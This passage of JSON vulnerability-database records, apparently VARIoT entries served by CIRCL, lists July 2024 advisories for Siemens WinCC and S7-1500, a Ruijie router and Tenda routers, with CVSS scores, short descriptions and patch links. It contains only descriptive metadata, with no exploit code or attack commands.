vulnerability (CNVD-C-2024-309064)", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "last_update_date": "2024-07-23T22:46:01.992000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-202407-1103", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-202407-0957](https://vulnerability.circl.lu/vuln/var-202407-0957) ```json { "id": "VAR-202407-0957", "affected_products": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25229" } ], "data": [ { "vendor": "siemens", "model": "wincc", "version": "v7.5", "scope": "eq", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25229" } ], "data": [ { "severity": [ { "value": "MEDIUM", "author": "CNVD", "id": "CNVD-2024-25229", "trust": 0.6 } ], "cvssV2": [ { "version": "2.0", "vectorString": "AV:A/AC:L/Au:N/C:N/I:N/A:C", "accessVector": "ADJACENT_NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 6.1, "severity": "MEDIUM", "exploitabilityScore": 6.5, "impactScore": 6.9, "id": "CNVD-2024-25229", "author": "CNVD", "trust": 0.6 } ], "cvssV3": [] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25229" } ], "data": "WinCC is a SCADA system suitable for all walks of life. It can access devices from mobile terminals, extract intelligent data, analyze data and make reports.\n\nSiemens (China) Co., Ltd. WinCC has a denial of service vulnerability, which can be exploited by attackers to cause denial of service.", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25229" } ], "data": [ { "db": "CNVD", "id": "CNVD-2024-25229", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25229" } ], "data": true, "trust": 1.1531915, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25229" } ], "data": [ { "category": [ "ICS" ], "sub_category": null, "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25229" } ], "data": [ { "url": "https://www.cnvd.org.cn/patchinfo/show/554936", "title": "Patch for Siemens (China) Co., Ltd. WinCC has a denial of service vulnerability (CNVD-C-2024-309044)", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25229" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "sources_update_date": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25229", "date": "2024-06-11T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25229", "date": "2024-07-06T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "title": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25229" } ], "data": "Siemens (China) Co., Ltd. WinCC has a denial of service vulnerability (CNVD-C-2024-309044)", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "last_update_date": "2024-07-23T22:45:59.391000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-202407-0957", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-202407-0819](https://vulnerability.circl.lu/vuln/var-202407-0819) ```json { "id": "VAR-202407-0819", "affected_products": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25227" } ], "data": [ { "vendor": "siemens", "model": "simatic s7-1500", "version": "<=v2.6", "scope": "lte", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25227" } ], "data": [ { "severity": [ { "value": "MEDIUM", "author": "CNVD", "id": "CNVD-2024-25227", "trust": 0.6 } ], "cvssV2": [ { "version": "2.0", "vectorString": "AV:A/AC:L/Au:N/C:N/I:N/A:C", "accessVector": "ADJACENT_NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 6.1, "severity": "MEDIUM", "exploitabilityScore": 6.5, "impactScore": 6.9, "id": "CNVD-2024-25227", "author": "CNVD", "trust": 0.6 } ], "cvssV3": [] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25227" } ], "data": "SIMATIC S7-1500 is a modular control system suitable for various automation applications in the field of discrete automation.\n\nThere is a denial of service vulnerability in SIMATIC S7-1500 of Siemens (China) Co., Ltd., which can be exploited by attackers to cause denial of service.", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25227" } ], "data": [ { "db": "CNVD", "id": "CNVD-2024-25227", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25227" } ], "data": true, "trust": 1.18274233, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25227" } ], "data": [ { "category": [ "ICS" ], "sub_category": null, "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25227" } ], "data": [ { "url": "https://www.cnvd.org.cn/patchinfo/show/554941", "title": "Patch for Siemens (China) Co., Ltd. SIMATIC S7-1500 has a denial of service vulnerability", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25227" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "sources_update_date": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25227", "date": "2024-06-11T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25227", "date": "2024-07-06T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "title": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25227" } ], "data": "Siemens (China) Co., Ltd. SIMATIC S7-1500 has a denial of service vulnerability", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "last_update_date": "2024-07-23T22:45:56.958000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-202407-0819", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-202407-0818](https://vulnerability.circl.lu/vuln/var-202407-0818) ```json { "id": "VAR-202407-0818", "affected_products": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-26904" } ], "data": [ { "vendor": "xingwang ruijie network", "model": "nbr6210-e", "version": null, "scope": null, "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-26904" } ], "data": [ { "severity": [ { "value": "HIGH", "author": "CNVD", "id": "CNVD-2024-26904", "trust": 0.6 } ], "cvssV2": [ { "version": "2.0", "vectorString": "AV:N/AC:H/Au:S/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 7.1, "severity": "HIGH", "exploitabilityScore": 3.9, "impactScore": 10.0, "id": "CNVD-2024-26904", "author": "CNVD", "trust": 0.6 } ], "cvssV3": [] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-26904" } ], "data": "NBR6210-E is a router product.\n\nBeijing Xingwang Ruijie Network Technology Co., Ltd. NBR6210-E has a command execution vulnerability, which can be exploited by attackers to gain control of the server.", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-26904" } ], "data": [ { "db": "CNVD", "id": "CNVD-2024-26904", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-26904" } ], "data": true, "trust": 1.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-26904" } ], "data": [ { "category": [ "Network device" ], "sub_category": null, "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-26904" } ], "data": [ { "url": "https://www.cnvd.org.cn/patchinfo/show/553116", "title": "Patch for Beijing Xingwang Ruijie Network Technology Co., Ltd. NBR6210-E has a command execution vulnerability (CNVD-2024-26904)", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "CNVD", "id": "CNVD-2024-26904" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "sources_update_date": { "data": [ { "db": "CNVD", "id": "CNVD-2024-26904", "date": "2024-06-13T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "CNVD", "id": "CNVD-2024-26904", "date": "2024-07-08T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "title": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-26904" } ], "data": "Beijing Xingwang Ruijie Network Technology Co., Ltd. NBR6210-E has a command execution vulnerability (CNVD-2024-26904)", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "last_update_date": "2024-07-23T22:45:56.946000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-202407-0818", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-202407-0779](https://vulnerability.circl.lu/vuln/var-202407-0779) ```json { "id": "VAR-202407-0779", "affected_products": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2024-004508" }, { "db": "NVD", "id": "CVE-2024-35338" } ], "data": [ { "vendor": "tendacn", "model": "i29", "version": "1.0.0.5", "scope": "eq", "trust": 1.0 }, { "vendor": "tenda", "model": "i29", "version": null, "scope": "eq", "trust": 0.8 }, { "vendor": "tenda", "model": "i29", "version": "i29 firmware 1.0.0.5", "scope": "eq", "trust": 0.8 }, { "vendor": "tenda", "model": "i29", "version": null, "scope": null, "trust": 0.8 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2024-004508" }, { "db": "NVD", "id": "CVE-2024-35338" } ], "data": [ { "severity": [ { "value": "CRITICAL", "author": "NVD", "id": "CVE-2024-35338", "trust": 1.8 } ], "cvssV2": [], "cvssV3": [ { "exploitabilityScore": 3.9, "impactScore": 5.9, "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "author": "NVD", "trust": 1.0 }, { "id": "CVE-2024-35338", "author": "NVD", "version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "attackVector": "Network", "attackComplexity": "Low", "privilegesRequired": "None", "userInteraction": "None", "scope": "Unchanged", "confidentialityImpact": "High", "integrityImpact": "High", "availabilityImpact": "High", "baseScore": 9.8, "baseSeverity": "Critical", "exploitabilityScore": null, "impactScore": null, "trust": 0.8 } ] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2024-35338" }, { "db": "JVNDB", "id": "JVNDB-2024-004508" } ], "data": "Tenda i29V1.0 V1.0.0.5 was discovered to contain a hardcoded password for root. Tenda of i29 A vulnerability exists in the firmware regarding the use of hardcoded credentials.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state", "trust": 1.62, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2024-004508" }, { "db": "NVD", "id": "CVE-2024-35338" } ], "data": [ { "db": "NVD", "id": "CVE-2024-35338", "trust": 2.6 }, { "db": "JVNDB", "id": "JVNDB-2024-004508", "trust": 0.8 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "VARIoT devices database", "id": null } ], "data": true, "trust": 1.0, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "JVNDB", "id": "JVNDB-2024-004508" }, { "db": "NVD", "id": "CVE-2024-35338" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2024-004508" }, { "db": "NVD", "id": "CVE-2024-35338" } ], "data": [ { "trust": 1.0, "problemtype": "CWE-798" }, { "trust": 0.8, "problemtype": "Use hard-coded credentials (CWE-798) [NVD evaluation ]" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2024-004508" }, { "db": "NVD", "id": "CVE-2024-35338" } ], "data": [ { "url": "https://palm-vertebra-fe9.notion.site/hardcode_i29-e1ed38dde00145d9a6be1ad2b4581259", "trust": 1.8 }, { "url": "https://nvd.nist.gov/vuln/detail/cve-2024-35338", "trust": 0.8 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "JVNDB", "id": "JVNDB-2024-004508", "date": "2024-07-22T05:25:00" }, { "db": "NVD", "id": "CVE-2024-35338", "date": "2024-07-19T18:58:08.977000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "JVNDB", "id": "JVNDB-2024-004508", "date": "2024-07-22T00:00:00" }, { "db": "NVD", "id": "CVE-2024-35338", "date": "2024-07-16T16:15:04.933000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "title": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2024-004508" } ], "data": "Tenda  of  i29  Vulnerability related to use of hardcoded credentials in firmware", "trust": 0.8, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2024-35338", "last_update_date": "2024-07-23T22:45:56.150000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-202407-0779", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-202407-0778](https://vulnerability.circl.lu/vuln/var-202407-0778) ```json { "id": "VAR-202407-0778", "affected_products": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2024-004511" }, { "db": "NVD", "id": "CVE-2024-33182" } ], "data": [ { "vendor": "tendacn", "model": "ac18", "version": "15.03.3.10", "scope": "eq", "trust": 1.0 }, { "vendor": "tenda", "model": "ac18", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "tenda", "model": "ac18", "version": null, "scope": "eq", "trust": 0.8 }, { "vendor": "tenda", "model": "ac18", "version": "ac18 firmware 15.03.3.10", "scope": "eq", "trust": 0.8 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2024-004511" }, { "db": "NVD", "id": "CVE-2024-33182" } ], "data": [ { "severity": [ { "value": "CRITICAL", "author": "NVD", "id": "CVE-2024-33182", "trust": 1.8 } ], "cvssV2": [], "cvssV3": [ { "exploitabilityScore": 3.9, "impactScore": 5.9, "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "author": "NVD", "trust": 1.0 }, { "id": "CVE-2024-33182", "author": "NVD", "version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", 